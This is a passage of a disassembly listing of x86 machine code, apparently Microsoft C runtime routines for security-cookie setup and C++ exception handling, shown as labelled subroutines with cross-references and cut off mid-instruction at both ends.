QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax cmp esi, edi jnz short loc_415CEF mov esi, 0BB40E64Fh jmp short loc_415CFA ; --------------------------------------------------------------------------- loc_415CEF: ; CODE XREF: sub_415C79+6Dj test esi, ebx jnz short loc_415CFA mov eax, esi shl eax, 10h or esi, eax loc_415CFA: ; CODE XREF: sub_415C79+74j ; sub_415C79+78j mov dword_4231C4, esi not esi mov dword_4231C8, esi pop esi loc_415D09: ; CODE XREF: sub_415C79+2Ej pop edi pop ebx leave retn sub_415C79 endp ; =============== S U B R O U T I N E ======================================= sub_415D0D proc near ; DATA XREF: sub_415D79o ; .vty:004231A4o arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] mov eax, [edi] cmp dword ptr [eax], 0E06D7363h jnz short loc_415D46 cmp dword ptr [eax+10h], 3 jnz short loc_415D46 mov eax, [eax+14h] cmp eax, 19930520h jz short loc_415D41 cmp eax, 19930521h jz short loc_415D41 cmp eax, 19930522h jz short loc_415D41 cmp eax, 1994000h jnz short loc_415D46 loc_415D41: ; CODE XREF: sub_415D0D+1Dj ; sub_415D0D+24j ... call sub_416A48 loc_415D46: ; CODE XREF: sub_415D0D+Dj ; sub_415D0D+13j ... cmp byte_424884, 0 push esi jz short loc_415D72 push dword_424880 call sub_411DBF mov esi, eax test esi, esi pop ecx jz short loc_415D72 push esi call sub_41A258 test eax, eax pop ecx jz short loc_415D72 push edi call esi jmp short loc_415D74 ; --------------------------------------------------------------------------- loc_415D72: ; CODE XREF: sub_415D0D+41j ; sub_415D0D+53j ... xor eax, eax loc_415D74: ; CODE XREF: sub_415D0D+63j pop esi pop edi retn 4 sub_415D0D endp ; =============== S U B R O U T I N E ======================================= sub_415D79 proc near ; DATA XREF: .vty:0041C240o push offset sub_415D0D call dword_41C110 ; SetUnhandledExceptionFilter push eax call sub_411D53 mov dword_424880, eax pop ecx mov byte_424884, 1 xor eax, eax retn sub_415D79 endp ; =============== S U B R O U T I N E ======================================= sub_415D9A proc near ; DATA XREF: .vty:0041C25Co cmp byte_424884, 0 jz short locret_415DBD push dword_424880 call sub_411DBF pop ecx push eax call dword_41C110 ; SetUnhandledExceptionFilter mov byte_424884, 0 locret_415DBD: ; CODE XREF: sub_415D9A+7j retn sub_415D9A endp ; =============== S U B R O U T I N E ======================================= sub_415DBE proc near ; DATA XREF: .vty:0041FC60o mov dword ptr [ecx], offset off_41CE04 jmp sub_40D931 sub_415DBE endp ; --------------------------------------------------------------------------- loc_415DC9: ; DATA XREF: .vty:off_41CE04o push esi mov esi, ecx mov dword ptr [esi], offset off_41CE04 call sub_40D931 test byte ptr [esp+8], 1 jz short loc_415DE5 push esi call sub_40DD8A pop ecx loc_415DE5: ; CODE XREF: .vty:00415DDCj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_415DEB proc near ; CODE XREF: sub_41602A+4Ep ; sub_4165F6+21Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_415E41 lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_415E41 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_415E1F add ecx, 8 push ecx push edx call sub_40FAB0 test eax, eax pop ecx pop ecx jz short loc_415E1F loc_415E1B: ; CODE XREF: sub_415DEB+3Cj ; sub_415DEB+4Bj ... xor eax, eax jmp short loc_415E44 ; --------------------------------------------------------------------------- loc_415E1F: ; CODE XREF: sub_415DEB+1Ej ; sub_415DEB+2Ej test byte ptr [esi], 2 jz short loc_415E29 test byte ptr [edi], 8 jz short loc_415E1B loc_415E29: ; CODE XREF: sub_415DEB+37j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_415E38 test byte ptr [edi], 1 jz short loc_415E1B loc_415E38: ; CODE XREF: sub_415DEB+46j test al, 2 jz short loc_415E41 test byte ptr [edi], 2 jz short loc_415E1B loc_415E41: ; CODE XREF: sub_415DEB+Bj ; sub_415DEB+13j ... xor eax, eax inc eax loc_415E44: ; CODE XREF: sub_415DEB+32j pop edi pop esi retn sub_415DEB endp ; =============== S U B R O U T I N E ======================================= sub_415E47 proc near ; CODE XREF: sub_415E8B+85p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] mov eax, [eax] cmp eax, 0E0434F4Dh jz short loc_415E6E cmp eax, 0E06D7363h jnz short loc_415E88 call sub_411FFD and dword ptr [eax+90h], 0 jmp sub_416A48 ; --------------------------------------------------------------------------- loc_415E6E: ; CODE XREF: sub_415E47+Dj call sub_411FFD cmp dword ptr [eax+90h], 0 jle short loc_415E88 call sub_411FFD add eax, 90h dec dword ptr [eax] loc_415E88: ; CODE XREF: sub_415E47+14j ; sub_415E47+33j xor eax, eax retn sub_415E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E8B proc near ; CODE XREF: sub_4160EC+ECp ; sub_416498+36p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset dword_41FB58 call __SEH_prolog4 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] cmp dword ptr [edi+4], 80h jg short loc_415EAC movsx esi, byte ptr [ebx+8] jmp short loc_415EAF ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E8B+19j mov esi, [ebx+8] loc_415EAF: ; CODE XREF: sub_415E8B+1Fj mov [ebp+var_1C], esi call sub_411FFD add eax, 90h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 loc_415EC2: ; CODE XREF: sub_415E8B+9Fj cmp esi, [ebp+arg_C] jz short loc_415F2C cmp esi, 0FFFFFFFFh jle short loc_415ED1 cmp esi, [edi+4] jl short loc_415ED6 loc_415ED1: ; CODE XREF: sub_415E8B+3Fj call sub_416A94 loc_415ED6: ; CODE XREF: sub_415E8B+44j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_415F07 mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_416AE0 loc_415F07: ; CODE XREF: sub_415E8B+65j and [ebp+ms_exc.disabled], 0 jmp short loc_415F27 ; --------------------------------------------------------------------------- loc_415F0D: ; DATA XREF: .vty:0041FB78o push [ebp+ms_exc.exc_ptr] call sub_415E47 pop ecx retn ; --------------------------------------------------------------------------- loc_415F17: ; DATA XREF: .vty:0041FB7Co mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_415F27: ; CODE XREF: sub_415E8B+80j mov [ebp+var_1C], esi jmp short loc_415EC2 ; --------------------------------------------------------------------------- loc_415F2C: ; CODE XREF: sub_415E8B+3Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_415F51 cmp esi, [ebp+arg_C] jz short loc_415F42 call sub_416A94 loc_415F42: ; CODE XREF: sub_415E8B+B0j mov [ebx+8], esi call __SEH_epilog4 retn sub_415E8B endp ; =============== S U B R O U T I N E ======================================= sub_415F4B proc near ; DATA XREF: .vty:0041FB70o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_415F4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415F51 proc near ; CODE XREF: sub_415E8B+A8p call sub_411FFD cmp dword ptr [eax+90h], 0 jle short locret_415F6B call sub_411FFD add eax, 90h dec dword ptr [eax] locret_415F6B: ; CODE XREF: sub_415F51+Cj retn sub_415F51 endp ; =============== S U B R O U T I N E ======================================= sub_415F6C proc near ; CODE XREF: sub_4160EC+93p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_415FAE cmp dword ptr [eax+10h], 3 jnz short loc_415FAE mov ecx, [eax+14h] cmp ecx, 19930520h jz short loc_415F97 cmp ecx, 19930521h jz short loc_415F97 cmp ecx, 19930522h jnz short loc_415FAE loc_415F97: ; CODE XREF: sub_415F6C+19j ; sub_415F6C+21j cmp dword ptr [eax+1Ch], 0 jnz short loc_415FAE call sub_411FFD xor ecx, ecx inc ecx mov [eax+20Ch], ecx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_415FAE: ; CODE XREF: sub_415F6C+8j ; sub_415F6C+Ej ... xor eax, eax retn sub_415F6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FB1 proc near ; CODE XREF: sub_412800+112p ; sub_416212+6Ep ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_41FB80 call __SEH_prolog4 mov ecx, [ebp+arg_0] test ecx, ecx jz short loc_415FEE cmp dword ptr [ecx], 0E06D7363h jnz short loc_415FEE mov eax, [ecx+1Ch] test eax, eax jz short loc_415FEE mov eax, [eax+4] test eax, eax jz short loc_415FEE and [ebp+ms_exc.disabled], 0 push eax push dword ptr [ecx+18h] call sub_410836 mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_415FEE: ; CODE XREF: sub_415FB1+11j ; sub_415FB1+19j ... call __SEH_epilog4 retn sub_415FB1 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_416A48 ; =============== S U B R O U T I N E ======================================= sub_416005 proc near ; CODE XREF: sub_416288+86p ; sub_416288+113p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [ecx] push esi mov esi, [esp+4+arg_0] add eax, esi cmp dword ptr [ecx+4], 0 jl short loc_416028 mov edx, [ecx+4] mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_416028: ; CODE XREF: sub_416005+11j pop esi retn sub_416005 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41602A proc near ; CODE XREF: sub_4165F6+111p ; sub_4165F6+2AEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch test edi, edi jnz short loc_41603E call sub_416A94 jmp sub_416A48 ; --------------------------------------------------------------------------- loc_41603E: ; CODE XREF: sub_41602A+8j and [ebp+var_8], 0 cmp dword ptr [edi], 0 mov [ebp+var_1], 0 jle short loc_41609E push ebx push esi loc_41604D: ; CODE XREF: sub_41602A+70j mov eax, [ebp+arg_0] mov eax, [eax+1Ch] mov eax, [eax+0Ch] mov ebx, [eax] test ebx, ebx lea esi, [eax+4] jle short loc_416092 mov eax, [ebp+var_8] shl eax, 4 mov [ebp+var_C], eax loc_416068: ; CODE XREF: sub_41602A+60j mov ecx, [ebp+arg_0] push dword ptr [ecx+1Ch] mov eax, [esi] push eax mov eax, [edi+4] add eax, [ebp+var_C] push eax call sub_415DEB add esp, 0Ch test eax, eax jnz short loc_41608E dec ebx add esi, 4 test ebx, ebx jg short loc_416068 jmp short loc_416092 ; --------------------------------------------------------------------------- loc_41608E: ; CODE XREF: sub_41602A+58j mov [ebp+var_1], 1 loc_416092: ; CODE XREF: sub_41602A+33j ; sub_41602A+62j inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [edi] jl short loc_41604D pop esi pop ebx loc_41609E: ; CODE XREF: sub_41602A+1Fj mov al, [ebp+var_1] leave retn sub_41602A endp ; =============== S U B R O U T I N E ======================================= sub_4160A3 proc near ; CODE XREF: sub_4165F6+30Ap push 4 mov eax, offset loc_41AE86 call sub_410C0F call sub_411FFD cmp dword ptr [eax+94h], 0 jz short loc_4160C2 call sub_416A94 loc_4160C2: ; CODE XREF: sub_4160A3+18j and dword ptr [ebp-4], 0 call sub_416A81 or dword ptr [ebp-4], 0FFFFFFFFh jmp sub_416A48 sub_4160A3 endp ; =============== S U B R O U T I N E ======================================= sub_4160D4 proc near ; DATA XREF: .vty:0041FBA8o call sub_411FFD mov ecx, [ebp+8] push 0 push 0 mov [eax+94h], ecx call sub_4107BC int 3 ; Trap to Debugger sub_4160D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160EC proc near ; CODE XREF: sub_416498+57p var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 00416207 SIZE 00000005 BYTES push 2Ch push offset dword_41FBF8 call __SEH_prolog4 mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_34], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_3C] push eax call sub_410ADA pop ecx pop ecx mov [ebp+var_28], eax call sub_411FFD mov eax, [eax+88h] mov [ebp+var_2C], eax call sub_411FFD mov eax, [eax+8Ch] mov [ebp+var_30], eax call sub_411FFD mov [eax+88h], esi call sub_411FFD mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx and [ebp+ms_exc.disabled], 0 xor eax, eax inc eax mov [ebp+arg_8], eax mov [ebp+ms_exc.disabled], eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_410B6F add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp short loc_4161EB ; --------------------------------------------------------------------------- loc_41617C: ; DATA XREF: .vty:0041FC18o mov eax, [ebp+ms_exc.exc_ptr] call sub_415F6C retn ; --------------------------------------------------------------------------- loc_416185: ; DATA XREF: .vty:0041FC1Co mov esp, [ebp+ms_exc.old_esp] call sub_411FFD and dword ptr [eax+20Ch], 0 mov esi, [ebp+arg_C] mov edi, [ebp+arg_4] cmp dword ptr [esi+4], 80h jg short loc_4161A9 movsx ecx, byte ptr [edi+8] jmp short loc_4161AC ; --------------------------------------------------------------------------- loc_4161A9: ; CODE XREF: sub_4160EC+B5j mov ecx, [edi+8] loc_4161AC: ; CODE XREF: sub_4160EC+BBj mov ebx, [esi+10h] and [ebp+var_20], 0 loc_4161B3: ; CODE XREF: sub_4160EC+11Ej mov eax, [ebp+var_20] cmp eax, [esi+0Ch] jnb short loc_4161D3 imul eax, 14h add eax, ebx mov edx, [eax+4] cmp ecx, edx jle short loc_416207 cmp ecx, [eax+8] jg short loc_416207 mov eax, [esi+8] mov ecx, [eax+edx*8+8] loc_4161D3: ; CODE XREF: sub_4160EC+CDj push ecx push esi push 0 push edi call sub_415E8B add esp, 10h and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] loc_4161EB: ; CODE XREF: sub_4160EC+8Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov [ebp+arg_8], 0 call sub_416212 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_4160EC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4160EC loc_416207: ; CODE XREF: sub_4160EC+D9j ; sub_4160EC+DEj inc [ebp+var_20] jmp short loc_4161B3 ; END OF FUNCTION CHUNK FOR sub_4160EC ; =============== S U B R O U T I N E ======================================= sub_41620C proc near ; DATA XREF: .vty:0041FC10o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41620C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416212 proc near ; CODE XREF: sub_4160EC+10Dp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-28h] call sub_410B23 pop ecx call sub_411FFD mov ecx, [ebp-2Ch] mov [eax+88h], ecx call sub_411FFD mov ecx, [ebp-30h] mov [eax+8Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_416287 cmp dword ptr [esi+10h], 3 jnz short locret_416287 mov eax, [esi+14h] cmp eax, 19930520h jz short loc_416263 cmp eax, 19930521h jz short loc_416263 cmp eax, 19930522h jnz short locret_416287 loc_416263: ; CODE XREF: sub_416212+41j ; sub_416212+48j cmp dword ptr [ebp-34h], 0 jnz short locret_416287 cmp dword ptr [ebp-1Ch], 0 jz short locret_416287 push dword ptr [esi+18h] call sub_410B02 pop ecx test eax, eax jz short locret_416287 push dword ptr [ebp+10h] push esi call sub_415FB1 pop ecx pop ecx locret_416287: ; CODE XREF: sub_416212+31j ; sub_416212+37j ... retn sub_416212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416288 proc near ; CODE XREF: sub_416407+36p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset dword_41FC20 call __SEH_prolog4 xor edx, edx mov [ebp+var_1C], edx mov eax, [ebp+arg_8] mov ecx, [eax+4] cmp ecx, edx jz loc_4163FF cmp [ecx+8], dl jz loc_4163FF mov ecx, [eax+8] cmp ecx, edx jnz short loc_4162C3 test dword ptr [eax], 80000000h jz loc_4163FF loc_4162C3: ; CODE XREF: sub_416288+2Dj mov eax, [eax] mov esi, [ebp+arg_4] test eax, eax js short loc_4162D0 lea esi, [ecx+esi+0Ch] loc_4162D0: ; CODE XREF: sub_416288+42j mov [ebp+ms_exc.disabled], edx xor ebx, ebx inc ebx push ebx test al, 8 jz short loc_41631C mov edi, [ebp+arg_0] push dword ptr [edi+18h] call sub_41A258 pop ecx pop ecx test eax, eax jz loc_4163E2 push ebx push esi call sub_41A258 pop ecx pop ecx test eax, eax jz loc_4163E2 mov eax, [edi+18h] mov [esi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41630D: ; CODE XREF: sub_416288+E7j push eax call sub_416005 pop ecx pop ecx mov [esi], eax jmp loc_4163E7 ; --------------------------------------------------------------------------- loc_41631C: ; CODE XREF: sub_416288+51j mov edi, [ebp+arg_C] mov eax, [ebp+arg_0] push dword ptr [eax+18h] test [edi], bl jz short loc_416371 call sub_41A258 pop ecx pop ecx test eax, eax jz loc_4163E2 push ebx push esi call sub_41A258 pop ecx pop ecx test eax, eax jz loc_4163E2 push dword ptr [edi+14h] mov eax, [ebp+arg_0] push dword ptr [eax+18h] push esi call sub_410C50 add esp, 0Ch cmp dword ptr [edi+14h], 4 jnz loc_4163E7 mov eax, [esi] test eax, eax jz short loc_4163E7 add edi, 8 push edi jmp short loc_41630D ; --------------------------------------------------------------------------- loc_416371: ; CODE XREF: sub_416288+9Fj cmp [edi+18h], edx jnz short loc_4163AE call sub_41A258 pop ecx pop ecx test eax, eax jz short loc_4163E2 push ebx push esi call sub_41A258 pop ecx pop ecx test eax, eax jz short loc_4163E2 push dword ptr [edi+14h] add edi, 8 push edi mov eax, [ebp+arg_0] push dword ptr [eax+18h] call sub_416005 pop ecx pop ecx push eax push esi call sub_410C50 add esp, 0Ch jmp short loc_4163E7 ; --------------------------------------------------------------------------- loc_4163AE: ; CODE XREF: sub_416288+ECj call sub_41A258 pop ecx pop ecx test eax, eax jz short loc_4163E2 push ebx push esi call sub_41A258 pop ecx pop ecx test eax, eax jz short loc_4163E2 push dword ptr [edi+18h] call sub_41A258 pop ecx test eax, eax jz short loc_4163E2 test byte ptr [edi], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax jmp short loc_4163E7 ; --------------------------------------------------------------------------- loc_4163E2: ; CODE XREF: sub_416288+62j ; sub_416288+73j ... call sub_416A94 loc_4163E7: ; CODE XREF: sub_416288+8Fj ; sub_416288+D7j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] jmp short loc_416401 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] jmp sub_416A48 ; --------------------------------------------------------------------------- loc_4163FF: ; CODE XREF: sub_416288+19j ; sub_416288+22j ... xor eax, eax loc_416401: ; CODE XREF: sub_416288+169j call __SEH_epilog4 retn sub_416288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416407 proc near ; CODE XREF: sub_416498+11p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 8 push offset dword_41FC40 call __SEH_prolog4 mov eax, [ebp+arg_8] test dword ptr [eax], 80000000h jz short loc_416423 mov ebx, [ebp+arg_4] jmp short loc_41642D ; --------------------------------------------------------------------------- loc_416423: ; CODE XREF: sub_416407+15j mov ecx, [eax+8] mov edx, [ebp+arg_4] lea ebx, [ecx+edx+0Ch] loc_41642D: ; CODE XREF: sub_416407+1Aj and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_C] push esi push eax push [ebp+arg_4] mov edi, [ebp+arg_0] push edi call sub_416288 add esp, 10h dec eax jz short loc_416467 dec eax jnz short loc_41647F push 1 lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_416005 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_410836 jmp short loc_41647F ; --------------------------------------------------------------------------- loc_416467: ; CODE XREF: sub_416407+3Fj lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_416005 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_410836 loc_41647F: ; CODE XREF: sub_416407+42j ; sub_416407+5Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh call __SEH_epilog4 retn sub_416407 endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_416A48 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416498 proc near ; CODE XREF: sub_416504+D4p ; sub_4165F6+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp cmp [ebp+arg_10], 0 jz short loc_4164B1 push [ebp+arg_10] push ebx push esi push [ebp+arg_0] call sub_416407 add esp, 10h loc_4164B1: ; CODE XREF: sub_416498+7j cmp [ebp+arg_18], 0 push [ebp+arg_0] jnz short loc_4164BD push esi jmp short loc_4164C0 ; --------------------------------------------------------------------------- loc_4164BD: ; CODE XREF: sub_416498+20j push [ebp+arg_18] loc_4164C0: ; CODE XREF: sub_416498+23j call sub_41083D push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_415E8B mov eax, [edi+4] push 100h push [ebp+arg_14] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_4160EC add esp, 28h test eax, eax jz short loc_416502 push esi push eax call sub_410806 loc_416502: ; CODE XREF: sub_416498+61j pop ebp retn sub_416498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416504 proc near ; CODE XREF: sub_4165F6+336p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_4165F3 push edi call sub_411FFD cmp dword ptr [eax+80h], 0 jz short loc_416567 call sub_411FFD lea edi, [eax+80h] call sub_411DB6 cmp [edi], eax jz short loc_416567 cmp dword ptr [esi], 0E0434F4Dh jz short loc_416567 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4108F5 add esp, 1Ch test eax, eax jnz loc_4165F2 loc_416567: ; CODE XREF: sub_416504+22j ; sub_416504+36j ... mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jnz short loc_416575 call sub_416A94 loc_416575: ; CODE XREF: sub_416504+6Aj mov esi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push edi call sub_410A67 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_4165F2 push ebx loc_416598: ; CODE XREF: sub_416504+EBj cmp esi, [edi] jl short loc_4165E3 cmp esi, [edi+4] jg short loc_4165E3 mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4165B9 cmp byte ptr [ecx+8], 0 jnz short loc_4165E3 loc_4165B9: ; CODE XREF: sub_416504+ADj lea ebx, [eax-10h] test byte ptr [ebx], 40h jnz short loc_4165E3 push [ebp+arg_1C] mov esi, [ebp+arg_4] push [ebp+arg_18] push 0 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_416498 mov esi, [ebp+arg_14] add esp, 1Ch loc_4165E3: ; CODE XREF: sub_416504+96j ; sub_416504+9Bj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_416598 pop ebx loc_4165F2: ; CODE XREF: sub_416504+5Dj ; sub_416504+91j pop edi loc_4165F3: ; CODE XREF: sub_416504+Fj pop esi leave retn sub_416504 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165F6 proc near ; CODE XREF: sub_416964+D4p var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 2Ch mov ecx, [ebp+arg_4] push ebx mov ebx, [ebp+arg_10] mov eax, [ebx+4] cmp eax, 80h push esi push edi mov [ebp+var_1], 0 jg short loc_416619 movsx ecx, byte ptr [ecx+8] jmp short loc_41661C ; --------------------------------------------------------------------------- loc_416619: ; CODE XREF: sub_4165F6+1Bj mov ecx, [ecx+8] loc_41661C: ; CODE XREF: sub_4165F6+21j cmp ecx, 0FFFFFFFFh mov [ebp+var_8], ecx jl short loc_416628 cmp ecx, eax jl short loc_41662D loc_416628: ; CODE XREF: sub_4165F6+2Cj call sub_416A94 loc_41662D: ; CODE XREF: sub_4165F6+30j mov esi, [ebp+arg_0] mov edi, 0E06D7363h cmp [esi], edi jnz loc_416908 cmp dword ptr [esi+10h], 3 mov ebx, 19930520h jnz loc_416775 mov eax, [esi+14h] cmp eax, ebx jz short loc_416665 cmp eax, 19930521h jz short loc_416665 cmp eax, 19930522h jnz loc_416775 loc_416665: ; CODE XREF: sub_4165F6+5Bj ; sub_4165F6+62j cmp dword ptr [esi+1Ch], 0 jnz loc_416775 call sub_411FFD cmp dword ptr [eax+88h], 0 jz loc_416947 call sub_411FFD mov esi, [eax+88h] mov [ebp+arg_0], esi call sub_411FFD mov eax, [eax+8Ch] push 1 push esi mov [ebp+arg_8], eax call sub_41A258 test eax, eax pop ecx pop ecx jnz short loc_4166B0 call sub_416A94 loc_4166B0: ; CODE XREF: sub_4165F6+B3j cmp [esi], edi jnz short loc_4166DA cmp dword ptr [esi+10h], 3 jnz short loc_4166DA mov eax, [esi+14h] cmp eax, ebx jz short loc_4166CF cmp eax, 19930521h jz short loc_4166CF cmp eax, 19930522h jnz short loc_4166DA loc_4166CF: ; CODE XREF: sub_4165F6+C9j ; sub_4165F6+D0j cmp dword ptr [esi+1Ch], 0 jnz short loc_4166DA call sub_416A94 loc_4166DA: ; CODE XREF: sub_4165F6+BCj ; sub_4165F6+C2j ... call sub_411FFD cmp dword ptr [eax+94h], 0 jz loc_416775 call sub_411FFD mov edi, [eax+94h] call sub_411FFD push [ebp+arg_0] xor esi, esi mov [eax+94h], esi call sub_41602A test al, al pop ecx jnz short loc_41676D xor ebx, ebx cmp [edi], ebx jle short loc_416734 loc_416717: ; CODE XREF: sub_4165F6+13Cj mov eax, [edi+4] mov ecx, [ebx+eax+4] push offset off_423C9C call sub_40DE34 test al, al jnz short loc_416739 inc esi add ebx, 10h cmp esi, [edi] jl short loc_416717 loc_416734: ; CODE XREF: sub_4165F6+11Fj ; sub_4165F6+31Cj jmp sub_416A48 ; --------------------------------------------------------------------------- loc_416739: ; CODE XREF: sub_4165F6+134j push 1 push [ebp+arg_0] call sub_415FB1 pop ecx pop ecx lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_2C] mov [ebp+arg_0], offset dword_41CE0C call sub_40D873 push offset dword_41FC5C lea eax, [ebp+var_2C] push eax mov [ebp+var_2C], offset off_41CE04 call sub_4107BC loc_41676D: ; CODE XREF: sub_4165F6+119j mov esi, [ebp+arg_0] mov edi, 0E06D7363h loc_416775: ; CODE XREF: sub_4165F6+50j ; sub_4165F6+69j ... cmp [esi], edi jnz loc_416905 cmp dword ptr [esi+10h], 3 jnz loc_416905 mov eax, [esi+14h] cmp eax, ebx jz short loc_4167A0 cmp eax, 